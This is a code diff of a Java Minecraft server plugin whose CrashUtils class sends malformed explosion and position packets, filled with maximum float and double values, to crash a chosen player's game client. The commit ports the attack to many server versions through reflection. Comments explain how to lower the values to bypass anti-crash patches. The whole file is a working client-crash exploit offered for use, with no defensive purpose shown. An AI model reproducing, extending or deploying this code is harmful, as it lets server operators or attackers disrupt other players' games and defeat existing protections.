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Now using reflection, more server versions will work!
Improved code
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| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -1,40 +1,111 @@ | ||
| package crash.players.crasher; | ||
|
|
||
| import net.minecraft.server.v1_8_R3.PacketPlayOutExplosion; | ||
| import net.minecraft.server.v1_8_R3.PacketPlayOutPosition; | ||
| import net.minecraft.server.v1_8_R3.Vec3D; | ||
| import org.bukkit.craftbukkit.v1_8_R3.entity.CraftPlayer; | ||
| import crash.players.Main; | ||
| import org.bukkit.Bukkit; | ||
| import org.bukkit.command.CommandSender; | ||
| import org.bukkit.entity.Player; | ||
|
|
||
| import java.lang.reflect.Constructor; | ||
| import java.lang.reflect.Method; | ||
| import java.util.Collections; | ||
| import java.util.List; | ||
| import java.util.Set; | ||
|
|
||
| public class CrashUtils { | ||
| public static void sendDeadlyPacket(Player victim, CrashType crashType) { | ||
| switch (crashType) { | ||
| case EXPLOSION: | ||
| PacketPlayOutExplosion explosionPacket = new PacketPlayOutExplosion( | ||
| Double.MAX_VALUE, | ||
| Double.MAX_VALUE, | ||
| Double.MAX_VALUE, | ||
| Float.MAX_VALUE, | ||
| Collections.emptyList(), | ||
| new Vec3D(Double.MAX_VALUE, Double.MAX_VALUE, Double.MAX_VALUE)); | ||
|
|
||
| ((CraftPlayer)victim).getHandle().playerConnection.sendPacket(explosionPacket); | ||
| break; | ||
| case POSITION: | ||
| PacketPlayOutPosition positionPacket = new PacketPlayOutPosition( | ||
| Double.MAX_VALUE, | ||
| Double.MAX_VALUE, | ||
| Double.MAX_VALUE, | ||
| Float.MAX_VALUE, | ||
| Float.MAX_VALUE, | ||
| Collections.EMPTY_SET); | ||
|
|
||
| ((CraftPlayer)victim).getHandle().playerConnection.sendPacket(positionPacket); | ||
| break; | ||
| private static final String serverVersion; | ||
|
|
||
| static { | ||
| String path = Bukkit.getServer().getClass().getPackage().getName(); | ||
| serverVersion = path.substring(path.lastIndexOf(".") + 1); | ||
| } | ||
|
|
||
| /** | ||
| * Crash a player hehe | ||
| * | ||
| * @param victim A player, which you want to crash | ||
| * @param crashType The method you want to crash them with | ||
| */ | ||
| public static void crashPlayer(CommandSender crasher, Player victim, CrashType crashType) { | ||
| try { | ||
| switch (crashType) { | ||
| case EXPLOSION: | ||
|
|
||
| // Vec3D with fat arguments | ||
| Class<?> Vec3D = Class.forName("net.minecraft.server." + serverVersion + ".Vec3D"); | ||
| Constructor<?> vec3DConstructor = Vec3D.getConstructor(double.class, double.class, double.class); | ||
| Object vec3d = vec3DConstructor.newInstance( | ||
| d(), d(), d()); | ||
|
|
||
| // PacketPlayOutExplosion with fat arguments | ||
| Class<?> PacketPlayOutExplosion = Class.forName("net.minecraft.server." + serverVersion + ".PacketPlayOutExplosion"); | ||
| Constructor<?> playOutConstructor = PacketPlayOutExplosion.getConstructor( | ||
| double.class, double.class, double.class, float.class, List.class, Vec3D); | ||
| Object explosionPacket = playOutConstructor.newInstance( | ||
| d(), d(), d(), f(), Collections.emptyList(), vec3d); | ||
|
|
||
| sendPacket(victim, explosionPacket); | ||
|
|
||
| break; | ||
| case POSITION: | ||
|
|
||
| // PacketPlayOutPosition with fat arguments | ||
| Class<?> PacketPlayOutPosition = Class.forName("net.minecraft.server." + serverVersion + ".PacketPlayOutPosition"); | ||
| Constructor<?> playOutPositionConstructor = PacketPlayOutPosition.getConstructor( | ||
| double.class, double.class, double.class, float.class, float.class, Set.class); | ||
| Object posPacket = playOutPositionConstructor.newInstance( | ||
| d(), d(), d(), f(), f(), Collections.emptySet()); | ||
|
|
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| sendPacket(victim, posPacket); | ||
|
|
||
| break; | ||
| } | ||
|
|
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| crasher.sendMessage(Main.PREFIX + "§aCrashed §2" + victim.getName() + " §ausing §3" + crashType.name() + " §amethod!"); | ||
|
|
||
| } catch (Exception e) { | ||
|
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| crasher.sendMessage(Main.PREFIX + "§cFailed to crash §e" + victim.getName() + " §eusing " + crashType.name() + " §cmethod!"); | ||
|
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| System.err.println("[CRASHER] Failed to crash " + victim.getName() + " using " + crashType.name() + "!"); | ||
| e.printStackTrace(); | ||
| } | ||
|
|
||
| } | ||
|
|
||
| /** | ||
| * Sends a NMS packet to a given player | ||
| * | ||
| * @param player To whom is the packet sent | ||
| * @param packet The packet to be sent | ||
| * @throws Exception when something goes wrong | ||
| */ | ||
| private static void sendPacket(Player player, Object packet) throws Exception { | ||
|
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| Class<?> craftPlayer = Class.forName("org.bukkit.craftbukkit." + serverVersion + ".entity.CraftPlayer"); | ||
| Object craftPlayerObject = craftPlayer.cast(player); | ||
|
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| Method getHandleMethod = craftPlayer.getMethod("getHandle"); | ||
| Object handle = getHandleMethod.invoke(craftPlayerObject); | ||
| Object pc = handle.getClass().getField("playerConnection").get(handle); | ||
|
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| Class<?> Packet = Class.forName("net.minecraft.server." + serverVersion + ".Packet"); | ||
| Method sendPacketMethod = pc.getClass().getMethod("sendPacket", Packet); | ||
|
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| sendPacketMethod.invoke(pc, packet); | ||
|
|
||
| } | ||
|
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| // Below are the numbers that you can modify to bypass anticrash. | ||
|
|
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| // Most cheat clients patched this by cancelling MAX_VALUE packets. | ||
| // Change this to something lower such as half of double value. | ||
|
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| private static Double d() { | ||
| return Double.MAX_VALUE; | ||
| } | ||
|
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| private static Float f() { | ||
| return Float.MAX_VALUE; | ||
| } | ||
|
|
||
| } |